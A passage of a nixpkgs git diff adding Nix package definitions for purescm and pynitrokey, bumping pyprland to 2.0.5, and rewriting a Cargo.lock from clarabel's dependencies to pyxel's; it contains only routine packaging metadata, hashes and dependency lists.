{ + "purescm": "1.8.2" + } + }, + "node_modules/purescm": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/purescm/-/purescm-1.8.2.tgz", + "integrity": "sha512-r+iaiRagOO2rHxGIke391l+pMlpE85vOVpQA32pdftJTdKeUVGIYy0UAs1nOkQSNxdHMXsNIkrskAwOSiyX3PA==", + "bin": { + "purescm": "index.js" + } + } + } +} diff --git a/pkgs/by-name/pu/purescm/package.json b/pkgs/by-name/pu/purescm/package.json new file mode 100644 index 0000000000000..96b51c2d5e1d1 --- /dev/null +++ b/pkgs/by-name/pu/purescm/package.json @@ -0,0 +1,5 @@ +{ + "dependencies": { + "purescm": "1.8.2" + } +} diff --git a/pkgs/by-name/pu/purescm/package.nix b/pkgs/by-name/pu/purescm/package.nix new file mode 100644 index 0000000000000..c03f1339d18a2 --- /dev/null +++ b/pkgs/by-name/pu/purescm/package.nix @@ -0,0 +1,45 @@ +{ lib +, buildNpmPackage +, fetchNpmDeps +, testers +}: + +let + inherit (lib) fileset; + + packageLock = builtins.fromJSON (builtins.readFile ./package-lock.json); + + pname = "purescm"; + version = packageLock.packages."node_modules/${pname}".version; + + package = buildNpmPackage { + inherit pname version; + + src = ./.; + dontNpmBuild = true; + + npmDeps = fetchNpmDeps { + src = ./.; + hash = "sha256-ljeFcLvIET77Q0OR6O5Ok1fGnaxaKaoywpcy2aHq/6o="; + }; + + installPhase = '' + mkdir -p $out/share/${pname} + cp -r node_modules/ $out/share/${pname} + ln -s $out/share/${pname}/node_modules/.bin $out/bin + ''; + + passthru.tests = { + version = testers.testVersion { inherit package; }; + }; + + meta = { + description = "Chez Scheme back-end for PureScript"; + homepage = "https://github.com/purescm/purescm"; + license = lib.licenses.asl20; + maintainers = with lib.maintainers; [ toastal ]; + mainProgram = "purescm"; + }; + }; +in +package diff --git a/pkgs/by-name/py/pynitrokey/package.nix b/pkgs/by-name/py/pynitrokey/package.nix new file mode 100644 index 0000000000000..beafb787b63b6 --- /dev/null +++ b/pkgs/by-name/py/pynitrokey/package.nix @@ -0,0 +1,28 @@ +{ python3 +, fetchPypi +, rustPlatform +}: + +let + python = python3.override { + packageOverrides = self: super: { + # https://github.com/nxp-mcuxpresso/spsdk/issues/64 + cryptography = super.cryptography.overridePythonAttrs (old: rec { + version = "41.0.7"; + src = fetchPypi { + inherit (old) pname; + inherit version; + hash = "sha256-E/k86b6oAWwlOzSvxr1qdZk+XEBnLtVAWpyDLw1KALw="; + }; + cargoDeps = rustPlatform.fetchCargoTarball { + inherit src; + sourceRoot = "${old.pname}-${version}/${old.cargoRoot}"; + name = "${old.pname}-${version}"; + hash = "sha256-VeZhKisCPDRvmSjGNwCgJJeVj65BZ0Ge+yvXbZw86Rw="; + }; + patches = [ ]; + doCheck = false; # would require overriding cryptography-vectors + }); + }; + }; +in with python.pkgs; toPythonApplication pynitrokey diff --git a/pkgs/by-name/py/pyprland/package.nix b/pkgs/by-name/py/pyprland/package.nix index 32def482f369f..efb35780b89bc 100644 --- a/pkgs/by-name/py/pyprland/package.nix +++ b/pkgs/by-name/py/pyprland/package.nix @@ -2,7 +2,7 @@ python3Packages.buildPythonApplication rec { pname = "pyprland"; - version = "1.10.2"; + version = "2.0.5"; format = "pyproject"; disabled = python3Packages.pythonOlder "3.10"; @@ -11,11 +11,13 @@ python3Packages.buildPythonApplication rec { owner = "hyprland-community"; repo = "pyprland"; rev = "refs/tags/${version}"; - hash = "sha256-ZbxrfxgURs+XHegsdZ7Z42o7flQ8Jt2rfR2RwDmGpls="; + hash = "sha256-VaNJ6hSdcH23Vk7JJpmNV6Qxb7gK5xWK6WHdeyfjUvQ="; }; nativeBuildInputs = with python3Packages; [ poetry-core ]; + propagatedBuildInputs = with python3Packages; [ aiofiles ]; + postInstall = '' # file has shebang but cant be run due to a relative import, has proper entrypoint in /bin chmod -x $out/${python3Packages.python.sitePackages}/pyprland/command.py @@ -26,12 +28,15 @@ python3Packages.buildPythonApplication rec { pythonImportsCheck = [ "pyprland" + "pyprland.adapters" + "pyprland.adapters.menus" "pyprland.command" "pyprland.common" "pyprland.ipc" "pyprland.plugins" "pyprland.plugins.experimental" "pyprland.plugins.expose" + "pyprland.plugins.fetch_client_menu" "pyprland.plugins.interface" "pyprland.plugins.layout_center" "pyprland.plugins.lost_windows" @@ -41,6 +46,8 @@ python3Packages.buildPythonApplication rec { "pyprland.plugins.pyprland" "pyprland.plugins.scratchpads" "pyprland.plugins.shift_monitors" + "pyprland.plugins.shortcuts_menu" + "pyprland.plugins.system_notifier" "pyprland.plugins.toggle_dpms" "pyprland.plugins.toggle_special" "pyprland.plugins.workspaces_follow_focus" diff --git a/pkgs/development/python-modules/clarabel/Cargo.lock b/pkgs/by-name/py/pyxel/Cargo.lock index ffc1908e7b752..48e718510249d 100644 --- a/pkgs/development/python-modules/clarabel/Cargo.lock +++ b/pkgs/by-name/py/pyxel/Cargo.lock @@ -3,67 +3,74 @@ version = 3 [[package]] -name = "accelerate-src" -version = "0.3.2" +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "adler32" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "415ed64958754dbe991900f3940677e6a7eefb4d7367afd70d642677b0c7d19d" +checksum = "aae1277d39aeec15cb388266ecc24b11c80469deae6067e17a1a7aa9e5c1f234" [[package]] -name = "addr2line" -version = "0.21.0" +name = "aho-corasick" +version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" dependencies = [ - "gimli", + "memchr", ] [[package]] -name = "adler" -version = "1.0.2" +name = "android-tzdata" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" [[package]] -name = "amd" -version = "0.2.2" +name = "android_system_properties" +version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a679e001575697a3bd195813feb57a4718ecc08dc194944015cbc5f6213c2b96" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" dependencies = [ - "num-traits", + "libc", ] [[package]] -name = "anyhow" -version = "1.0.79" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" - -[[package]] name = "autocfg" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" [[package]] -name = "backtrace" -version = "0.3.69" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +name = "bindgen" +version = "0.69.1" +source = "git+https://github.com/rust-lang/rust-bindgen.git?rev=d77e53ed8398743bf68831d25063719fa0f4f136#d77e53ed8398743bf68831d25063719fa0f4f136" dependencies = [ - "addr2line", - "cc", - "cfg-if 1.0.0", - "libc", - "miniz_oxide", - "object", - "rustc-demangle", + "bitflags 2.4.2", + "cexpr", + "clang-sys", + "lazy_static", + "lazycell", + "log", + "peeking_take_while", + "prettyplease", + "proc-macro2", + "quote", + "regex", + "rustc-hash", + "shlex", + "syn", + "which", ] [[package]] -name = "base64" -version = "0.21.7" +name = "bit_field" +version = "0.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" +checksum = "dc827186963e592360843fb5ba4b973e145841266c1357f7180c43526f2e5b61" [[package]] name = "bitflags" @@ -73,42 +80,27 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.4.1" +version = "2.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" [[package]] -name = "blas" -version = "0.22.0" +name = "bumpalo" +version = "3.15.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae980f75c3215bfe8203c349b28149b0f4130a262e072913ccb55f877cd239dc" -dependencies = [ - "blas-sys", - "libc", - "num-complex", -] +checksum = "d32a994c2b3ca201d9b263612a374263f05e7adde37c4707f693dcd375076d1f" [[package]] -name = "blas-src" -version = "0.9.0" +name = "bytemuck" +version = "1.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa443ee19b4cde6cdbd49043eb8964f9dd367b6d98d67f04395958ebfa28f39d" -dependencies = [ - "accelerate-src", - "intel-mkl-src", - "netlib-src", - "openblas-src", - "r-src", -] +checksum = "a2ef034f05691a48569bd920a96c81b9d91bbad1ab5ac7c4616c1f6ef36cb79f" [[package]] -name = "blas-sys" -version = "0.7.1" +name = "byteorder" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13b1b279ceb25d7c4faaea95a5f7addbe7d8c34f9462044bd8e630cebcfc2440" -dependencies = [ - "libc", -] +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" [[package]] name = "cc" @@ -116,15 +108,17 @@ version = "1.0.83" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" dependencies = [ - "jobserver", "libc", ] [[package]] -name = "cfg-if" -version = "0.1.10" +name = "cexpr" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom", +] [[package]] name = "cfg-if" @@ -133,26 +127,28 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] -name = "clarabel" -version = "0.6.0" +name = "chrono" +version = "0.4.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bc015644b92d5890fab7489e49d21f879d5c990186827d42ec511919404f38b" dependencies = [ - "amd", - "blas", - "blas-src", - "cfg-if 1.0.0", - "derive_builder", - "enum_dispatch", - "itertools 0.11.0", - "lapack", - "lapack-src", - "lazy_static", - "libc", - "num-derive", + "android-tzdata", + "iana-time-zone", + "js-sys", "num-traits", - "pyo3", - "serde", - "serde_json", - "thiserror", + "wasm-bindgen", + "windows-targets 0.52.0", +] + +[[package]] +name = "clang-sys" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67523a3b4be3ce1989d607a828d036249522dd9c1c8de7f4dd2dae43a37369d1" +dependencies = [ + "glob", + "libc", + "libloading", ] [[package]] @@ -165,14 +161,10 @@ dependencies = [ ] [[package]] -name = "core-foundation" -version = "0.9.4" +name = "color_quant" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" -dependencies = [ - "core-foundation-sys", - "libc", -] +checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b" [[package]] name = "core-foundation-sys" @@ -182,133 +174,69 @@ checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" [[package]] name = "crc32fast" -version = "1.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" -dependencies = [ - "cfg-if 1.0.0", -] - -[[package]] -name = "curl" -version = "0.4.44" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "509bd11746c7ac09ebd19f0b17782eae80aadee26237658a6b4808afb5c11a22" -dependencies = [ - "curl-sys", - "libc", - "openssl-probe", - "openssl-sys", - "schannel", - "socket2", - "winapi", -] - -[[package]] -name = "curl-sys" -version = "0.4.70+curl-8.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3c0333d8849afe78a4c8102a429a446bfdd055832af071945520e835ae2d841e" -dependencies = [ - "cc", - "libc", - "libz-sys", - "openssl-sys", - "pkg-config", - "vcpkg", - "windows-sys 0.48.0", -] - -[[package]] -name = "darling" -version = "0.14.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b750cb3417fd1b327431a470f388520309479ab0bf5e323505daf0290cd3850" -dependencies = [ - "darling_core", - "darling_macro", -] - -[[package]] -name = "darling_core" -version = "0.14.4" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "109c1ca6e6b7f82cc233a97004ea8ed7ca123a9af07a8230878fcfda9b158bf0" +checksum = "b3855a8a784b474f333699ef2bbca9db2c4a1f6d9088a90a2d25b1eb53111eaa" dependencies = [ - "fnv", - "ident_case", - "proc-macro2 1.0.76", - "quote 1.0.35", - "strsim", - "syn 1.0.109", + "cfg-if", ] [[package]] -name = "darling_macro" -version = "0.14.4" +name = "crossbeam-deque" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4aab4dbc9f7611d8b55048a3a16d2d010c2c8334e46304b40ac1cc14bf3b48e" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" dependencies = [ - "darling_core", - "quote 1.0.35", - "syn 1.0.109", + "crossbeam-epoch", + "crossbeam-utils", ] [[package]] -name = "derive_builder" -version = "0.11.2" +name = "crossbeam-epoch" +version = "0.9.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d07adf7be193b71cc36b193d0f5fe60b918a3a9db4dad0449f57bcfd519704a3" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" dependencies = [ - "derive_builder_macro", + "crossbeam-utils", ] [[package]] -name = "derive_builder_core" -version = "0.11.2" +name = "crossbeam-utils" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f91d4cfa921f1c05904dc3c57b4a32c38aed3340cce209f3a6fd1478babafc4" -dependencies = [ - "darling", - "proc-macro2 1.0.76", - "quote 1.0.35", - "syn 1.0.109", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" [[package]] -name = "derive_builder_macro" -version = "0.11.2" +name = "crunchy" +version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f0314b72bed045f3a68671b3c86328386762c93f82d98c65c3cb5e5f573dd68" -dependencies = [ - "derive_builder_core", - "syn 1.0.109", -] +checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" [[package]] -name = "dirs" -version = "2.0.2" +name = "deflate" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13aea89a5c93364a98e9b37b2fa237effbb694d5cfe01c5b70941f7eb087d5e3" +checksum = "73770f8e1fe7d64df17ca66ad28994a0a623ea497fa69486e14984e715c5d174" dependencies = [ - "cfg-if 0.1.10", - "dirs-sys", + "adler32", + "byteorder", ] [[package]] -name = "dirs" -version = "3.0.2" +name = "dirs-next" +version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "30baa043103c9d0c2a57cf537cc2f35623889dc0d405e6c3cccfadbc81c71309" +checksum = "cf36e65a80337bea855cd4ef9b8401ffce06a7baedf2e85ec467b1ac3f6e82b6" dependencies = [ - "dirs-sys", + "cfg-if", + "dirs-sys-next", ] [[package]] -name = "dirs-sys" -version = "0.3.7" +name = "dirs-sys-next" +version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b1d1d91c932ef41c0f2663aa8b0ca0342d444d842c06914aa0a7e352d0bada6" +checksum = "4ebda144c4fe02d1f7ea1a7d9641b6fc6b580adcfa024ae48797ecdeb6825b4d" dependencies = [ "libc", "redox_users", @@ -317,21 +245,15 @@ dependencies = [ [[package]] name = "either" -version = "1.9.0" +version = "1.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" +checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a" [[package]] -name = "enum_dispatch" -version = "0.3.12" +name = "equivalent" +version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f33313078bb8d4d05a2733a94ac4c2d8a0df9a2b84424ebf4f33bfc224a890e" -dependencies = [ - "once_cell", - "proc-macro2 1.0.76", - "quote 1.0.35", - "syn 2.0.48", -] +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" [[package]] name = "errno" @@ -344,40 +266,37 @@ dependencies = [ ] [[package]] -name = "failure" -version = "0.1.8" +name = "exr" +version = "1.72.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d32e9bd16cc02eae7db7ef620b392808b89f6a5e16bb3497d159c6b92a0f4f86" +checksum = "887d93f60543e9a9362ef8a21beedd0a833c5d9610e18c67abe15a5963dcb1a4" dependencies = [ - "backtrace", - "failure_derive", + "bit_field", + "flume", + "half", + "lebe", + "miniz_oxide 0.7.2", + "rayon-core", + "smallvec", + "zune-inflate", ] [[package]] -name = "failure_derive" -version = "0.1.8" +name = "fdeflate" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa4da3c766cd7a0db8242e326e9e4e081edd567072893ed320008189715366a4" +checksum = "4f9bfee30e4dedf0ab8b422f03af778d9612b63f502710fc500a334ebe2de645" dependencies = [ - "proc-macro2 1.0.76", - "quote 1.0.35", - "syn 1.0.109", - "synstructure", + "simd-adler32", ] [[package]] -name = "fastrand" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" - -[[package]] name = "filetime" version = "0.2.23" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1ee447700ac8aa0b2f2bd7bc4462ad686ba06baa6727ac149a2d6277f0d240fd" dependencies = [ - "cfg-if 1.0.0", + "cfg-if", "libc", "redox_syscall", "windows-sys 0.52.0", @@ -390,55 +309,69 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" dependencies = [ "crc32fast", - "miniz_oxide", + "miniz_oxide 0.7.2", ] [[package]] -name = "fnv" -version = "1.0.7" +name = "flume" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" +checksum = "55ac459de2512911e4b674ce33cf20befaba382d05b62b008afc1c8b57cbf181" +dependencies = [ + "spin", +] [[package]] -name = "foreign-types" -version = "0.3.2" +name = "getrandom" +version = "0.1.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" dependencies = [ - "foreign-types-shared", + "cfg-if", + "libc", + "wasi 0.9.0+wasi-snapshot-preview1", ] [[package]] -name = "foreign-types-shared" -version = "0.1.1" +name = "getrandom" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] [[package]] -name = "form_urlencoded" -version = "1.2.1" +name = "gif" +version = "0.11.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +checksum = "3edd93c6756b4dfaf2709eafcc345ba2636565295c198a9cfbf75fa5e3e00b06" dependencies = [ - "percent-encoding", + "color_quant", + "weezl", ] [[package]] -name = "getrandom" -version = "0.2.12" +name = "gif" +version = "0.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +checksum = "80792593675e051cf94a4b111980da2ba60d4a83e43e0048c5693baab3977045" dependencies = [ - "cfg-if 1.0.0", - "libc", - "wasi", + "color_quant", + "weezl", ] [[package]] -name = "gimli" -version = "0.28.1" +name = "gif" +version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" +checksum = "3fb2d69b19215e18bb912fa30f7ce15846e301408695e44e0ef719f1da9e19f2" +dependencies = [ + "color_quant", + "weezl", +] [[package]] name = "glob" @@ -447,116 +380,149 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] -name = "ident_case" -version = "1.0.1" +name = "glow" +version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" +checksum = "bd348e04c43b32574f2de31c8bb397d96c9fcfa1371bd4ca6d8bdc464ab121b1" +dependencies = [ + "js-sys", + "slotmap", + "wasm-bindgen", + "web-sys", +] [[package]] -name = "idna" -version = "0.5.0" +name = "half" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +checksum = "bc52e53916c08643f1b56ec082790d1e86a32e58dc5268f897f313fbae7b4872" dependencies = [ - "unicode-bidi", - "unicode-normalization", + "cfg-if", + "crunchy", ] [[package]] -name = "indoc" -version = "1.0.9" +name = "hashbrown" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bfa799dd5ed20a7e349f3b4639aa80d74549c81716d9ec4f994c9b5815598306" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" [[package]] -name = "intel-mkl-src" -version = "0.5.0" +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "home" +version = "0.5.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7260b33a735eaebcb942800728b38c5760b125ea5e4346290d78397b5422b894" +checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5" dependencies = [ - "intel-mkl-tool", + "windows-sys 0.52.0", ] [[package]] -name = "intel-mkl-tool" -version = "0.1.0" +name = "iana-time-zone" +version = "0.1.60" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ada23f955fb7d06cb5db9424863caa7251f8f9b525f4c4816144465f77cfded7" +checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141" dependencies = [ - "curl", - "dirs 2.0.2", - "failure", - "glob", - "log", - "pkg-config", - "tar", - "zstd", + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", ] [[package]] -name = "itertools" -version = "0.9.0" +name = "iana-time-zone-haiku" +version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "284f18f85651fe11e8a991b2adb42cb078325c996ed026d994719efcfca1d54b" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" dependencies = [ - "either", + "cc", ] [[package]] -name = "itertools" -version = "0.11.0" +name = "image" +version = "0.23.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1c173a5686ce8bfa551b3563d0c2170bf24ca44da99c7ca4bfdab5418c3fe57" +checksum = "24ffcb7e7244a9bf19d35bf2883b9c080c4ced3c07a9895572178cdb8f13f6a1" dependencies = [ - "either", + "bytemuck", + "byteorder", + "color_quant", + "gif 0.11.4", + "jpeg-decoder 0.1.22", + "num-iter", + "num-rational", + "num-traits", + "png 0.16.8", + "scoped_threadpool", + "tiff 0.6.1", ] [[package]] -name = "itoa" -version = "1.0.10" +name = "image" +version = "0.24.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" +checksum = "034bbe799d1909622a74d1193aa50147769440040ff36cb2baa947609b0a4e23" +dependencies = [ + "bytemuck", + "byteorder", + "color_quant", + "exr", + "gif 0.12.0", + "jpeg-decoder 0.3.1", + "num-traits", + "png 0.17.12", + "qoi", + "tiff 0.9.1", +] [[package]] -name = "jobserver" -version = "0.1.27" +name = "indexmap" +version = "2.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c37f63953c4c63420ed5fd3d6d398c719489b9f872b9fa683262f8edd363c7d" +checksum = "233cf39063f058ea2caae4091bf4a3ef70a653afbc026f5c4a4135d114e3c177" dependencies = [ - "libc", + "equivalent", + "hashbrown", ] [[package]] -name = "lapack" -version = "0.19.0" +name = "indoc" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e186cfbae8084e513daff4240b4797e342f988cecda4fb6c939150f96315fd8" + +[[package]] +name = "jpeg-decoder" +version = "0.1.22" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ad676a6b4df7e76a9fd80a0c50c619a3948d6105b62a0ab135f064d99c51d207" +checksum = "229d53d58899083193af11e15917b5640cd40b29ff475a1fe4ef725deb02d0f2" dependencies = [ - "lapack-sys", - "libc", - "num-complex", + "rayon", ] [[package]] -name = "lapack-src" -version = "0.9.0" +name = "jpeg-decoder" +version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "24c81fcc728418323178fd40407619d0ed26dbbbd1a553693c6290ef5d6698c6" +checksum = "f5d4a7da358eff58addd2877a45865158f0d78c911d43a5784ceb7bbf52833b0" dependencies = [ - "accelerate-src", - "intel-mkl-src", - "netlib-src", - "openblas-src", - "r-src", + "rayon", ] [[package]] -name = "lapack-sys" -version = "0.14.0" +name = "js-sys" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "447f56c85fb410a7a3d36701b2153c1018b1d2b908c5fbaf01c1b04fac33bcbe" +checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" dependencies = [ - "libc", + "wasm-bindgen", ] [[package]] @@ -566,39 +532,49 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] +name = "lazycell" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" + +[[package]] +name = "lebe" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03087c2bad5e1034e8cace5926dec053fb3790248370865f5117a7d0213354c8" + +[[package]] name = "libc" -version = "0.2.152" +version = "0.2.153" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" [[package]] -name = "libredox" -version = "0.0.1" +name = "libloading" +version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +checksum = "c571b676ddfc9a8c12f1f3d3085a7b163966a8fd8098a90640953ce5f6170161" dependencies = [ - "bitflags 2.4.1", - "libc", - "redox_syscall", + "cfg-if", + "windows-sys 0.48.0", ] [[package]] -name = "libz-sys" -version = "1.1.14" +name = "libredox" +version = "0.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "295c17e837573c8c821dbaeb3cceb3d745ad082f7572191409e69cbc1b3fd050" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" dependencies = [ - "cc", + "bitflags 2.4.2", "libc", - "pkg-config", - "vcpkg", + "redox_syscall", ] [[package]] name = "linux-raw-sys" -version = "0.4.12" +version = "0.4.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" [[package]] name = "lock_api" @@ -624,162 +600,123 @@ checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memoffset" -version = "0.6.5" +version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" dependencies = [ "autocfg", ] [[package]] -name = 